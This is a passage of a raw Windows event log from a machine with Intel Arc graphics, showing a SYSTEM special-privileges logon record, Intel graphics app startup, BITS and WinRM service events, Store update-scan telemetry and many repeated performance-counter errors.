ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:27.725\t2\t{\"category\":\"AppCore\",\"level\":\"Information\",\"message\":\"**** Starting ****\",\"parameters\":{\"id\":16176}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:27.844\t2\t{\"category\":\"DcaTelemetry\",\"level\":\"Information\",\"message\":\"App_Process\",\"parameters\":{\"collectionEnabled\":false,\"status\":\"Started\",\"value\":\"\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:27.868\t7040\tThe start type of the \u0424\u043e\u043d\u043e\u0432\u0430\u044f \u0438\u043d\u0442\u0435\u043b\u043b\u0435\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 (BITS) service was changed from \u0412\u0440\u0443\u0447\u043d\u0443\u044e to \u0410\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438.\tInformation\tSystem\tService Control Manager\n05.09.2026 08:29:27.887\t306\tThe BITS service loaded the job list from disk.\tVerbose\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 08:29:27.892\t145\tWSMan operation Enumeration started with resourceUri http://schemas.microsoft.com/wbem/wsman/1/config/listener\tInformation\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 08:29:28.524\t2\t{\"category\":\"AppCore\",\"level\":\"Information\",\"message\":\"Launched\",\"parameters\":{\"id\":16176}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:28.529\t2\t{\"category\":\"AppCore\",\"level\":\"Information\",\"message\":\"Instance\",\"parameters\":{\"caller\":\"OnLaunched\",\"id\":16176,\"isCurrent\":true,\"isSilent\":true}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.073\t2006\t\"WU scan found 0 packages\nError: Unknown HResult Error code: 0xefffffff\nFunction: _PackagesFromSearchResult\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\wuhelpers.cpp (157)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:29.073\t2006\t\"[Telemetry]: EndScanForUpdates :: _TlgCV_ = exbuXxFHwECWL3f3.2.3.1.2.0.1 \u00a0IsOnline = true \u00a0IsApplicability = false \u00a0IsInteractive = false \u00a0ClientAppId = Update;PhoneExperienceHost-SearchForUpdatesWithPausedAddAsync \u00a0NumberOfApplicableUpdates = 0 \u00a0AutoUpdateWorkScheduledWithUOTime =  \u00a0PFN = (null) \u00a0HResult = 0 \u00a0\nError: Unknown HResult Error code: 0xefffffff\nFunction: LogTelemetryEvent\nSource: onecoreuap\\enduser\\winstore\\installservice\\svc\\logging.cpp (10)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:29.073\t2006\t\"No updates found. CategoryIds Count = 1 \u00a0\nError: The operation completed successfully.\nFunction: ScanForMultipleUpdates\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\uwainstallworkbridge.cpp (2138)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:29.076\t2002\t\"Windows::Services::Store::StoreContext::get_CanSilentlyDownloadStorePackageUpdates() invoked. (CV:exbuXxFHwECWL3f3.2.5)\nError: Unknown HResult Error code: 0xefffffff\nFunction: Windows::Services::Store::StoreContext::get_CanSilentlyDownloadStorePackageUpdates\nSource: onecoreuap\\enduser\\winstore\\licensing\\winrt\\lib\\storecontext.cpp (1732)\"\tInformation\tMicrosoft-Windows-Store/Operational\tWindows-ApplicationModel-Store-SDK\n05.09.2026 08:29:29.104\t2\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"IGCL Adapter initialized\",\"parameters\":{\"pciVendorID\":32902,\"pciDeviceID\":32085,\"pciRevisionID\":8,\"pciSubSysID\":8453,\"pciSubSysVendorID\":7911,\"numEUsPerSubSlice\":16,\"numSubSlicesPerSlice\":3,\"numSlices\":2,\"frequency\":2200,\"xeCores\":7,\"driverVersion\":\"32.0.101.8974\",\"firmwareVersion\":\"22.0.1067.0\",\"deviceName\":\"Intel(R) Arc(TM) Graphics\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.108\t2\t{\"category\":\"CtlLibGraphicsController\",\"level\":\"Information\",\"message\":\"Graphics adapter: Intel(R) Arc(TM) Graphics\"}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.112\t2\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"IGCL Adapter initialized\",\"parameters\":{\"pciVendorID\":32902,\"pciDeviceID\":32085,\"pciRevisionID\":8,\"pciSubSysID\":8453,\"pciSubSysVendorID\":7911,\"numEUsPerSubSlice\":16,\"numSubSlicesPerSlice\":3,\"numSlices\":2,\"frequency\":2200,\"xeCores\":7,\"driverVersion\":\"32.0.101.8974\",\"firmwareVersion\":\"22.0.1067.0\",\"deviceName\":\"Intel(R) Arc(TM) Graphics\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.112\t2\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"IGCL Adapter initialized\",\"parameters\":{\"pciVendorID\":32902,\"pciDeviceID\":32085,\"pciRevisionID\":8,\"pciSubSysID\":8453,\"pciSubSysVendorID\":7911,\"numEUsPerSubSlice\":16,\"numSubSlicesPerSlice\":3,\"numSlices\":2,\"frequency\":2200,\"xeCores\":7,\"driverVersion\":\"32.0.101.8974\",\"firmwareVersion\":\"22.0.1067.0\",\"deviceName\":\"Intel(R) Arc(TM) Graphics\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.130\t2\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"IGCL Adapter initialized\",\"parameters\":{\"pciVendorID\":32902,\"pciDeviceID\":32085,\"pciRevisionID\":8,\"pciSubSysID\":8453,\"pciSubSysVendorID\":7911,\"numEUsPerSubSlice\":16,\"numSubSlicesPerSlice\":3,\"numSlices\":2,\"frequency\":2200,\"xeCores\":7,\"driverVersion\":\"32.0.101.8974\",\"firmwareVersion\":\"22.0.1067.0\",\"deviceName\":\"Intel(R) Arc(TM) Graphics\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.134\t2\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"IGCL Adapter initialized\",\"parameters\":{\"pciVendorID\":32902,\"pciDeviceID\":32085,\"pciRevisionID\":8,\"pciSubSysID\":8453,\"pciSubSysVendorID\":7911,\"numEUsPerSubSlice\":16,\"numSubSlicesPerSlice\":3,\"numSlices\":2,\"frequency\":2200,\"xeCores\":7,\"driverVersion\":\"32.0.101.8974\",\"firmwareVersion\":\"22.0.1067.0\",\"deviceName\":\"Intel(R) Arc(TM) Graphics\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.209\t2\t{\"category\":\"ProfilesState\",\"level\":\"Information\",\"message\":\"LoadProfilesFromSettings: Count = 0\"}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.209\t2\t{\"category\":\"Navigation\",\"level\":\"Information\",\"message\":\"Reload/unload page\",\"parameters\":{\"caller\":\"OnSessionStateChanged\",\"sessionState\":\"Active\",\"mainWindowVisible\":\"False\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.210\t2\t{\"category\":\"Navigation\",\"level\":\"Information\",\"message\":\"Reload/unload page\",\"parameters\":{\"caller\":\"OnSessionStateChanged\",\"sessionState\":\"Active\",\"mainWindowVisible\":\"False\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.216\t2\t{\"category\":\"ProcessManager\",\"level\":\"Information\",\"message\":\"3rd Party\",\"parameters\":{\"library\":\"Process\",\"function\":\"Start\",\"action\":\"start\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.230\t2\t{\"category\":\"PresentMonWrapper\",\"level\":\"Information\",\"message\":\"Loaded PresentMonAPI2.dll\"}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.439\t2\t{\"category\":\"ProcessManager\",\"level\":\"Information\",\"message\":\"3rd Party\",\"parameters\":{\"library\":\"Process\",\"function\":\"Start\",\"action\":\"stop\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.460\t2\t{\"category\":\"DcaTelemetry\",\"level\":\"Information\",\"message\":\"App_Extension\",\"parameters\":{\"collectionEnabled\":false,\"status\":\"Entered\",\"value\":\"Performance\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.594\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.595\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.595\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.595\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.595\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.595\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.595\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.595\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.595\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.595\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.595\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.595\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.595\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.595\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.595\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.595\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.595\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.595\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.596\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.596\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.596\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.596\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.596\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.596\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.608\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.608\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.608\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.608\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.608\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.608\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.608\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.608\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.608\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.608\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.608\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.608\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.608\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.609\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.609\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.609\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.609\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.609\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.609\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.609\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.609\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.609\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.609\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.609\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.621\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.621\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.621\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.621\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.621\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.621\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e 